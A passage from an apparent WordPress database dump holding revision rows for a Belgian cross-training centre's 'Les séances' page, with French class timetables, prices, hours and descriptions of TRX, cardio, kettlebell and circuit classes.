#eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:52:51', '2013-07-03 15:52:51', '', 11, 'http://www.crosstrainingcenter.be/?p=156', 0, 'revision', '', 0),
(157, 1, '2013-07-03 15:53:34', '2013-07-03 15:53:34', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi,Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:53:34', '2013-07-03 15:53:34', '', 11, 'http://www.crosstrainingcenter.be/?p=157', 0, 'revision', '', 0),
(158, 1, '2013-07-03 15:54:03', '2013-07-03 15:54:03', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi,Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les 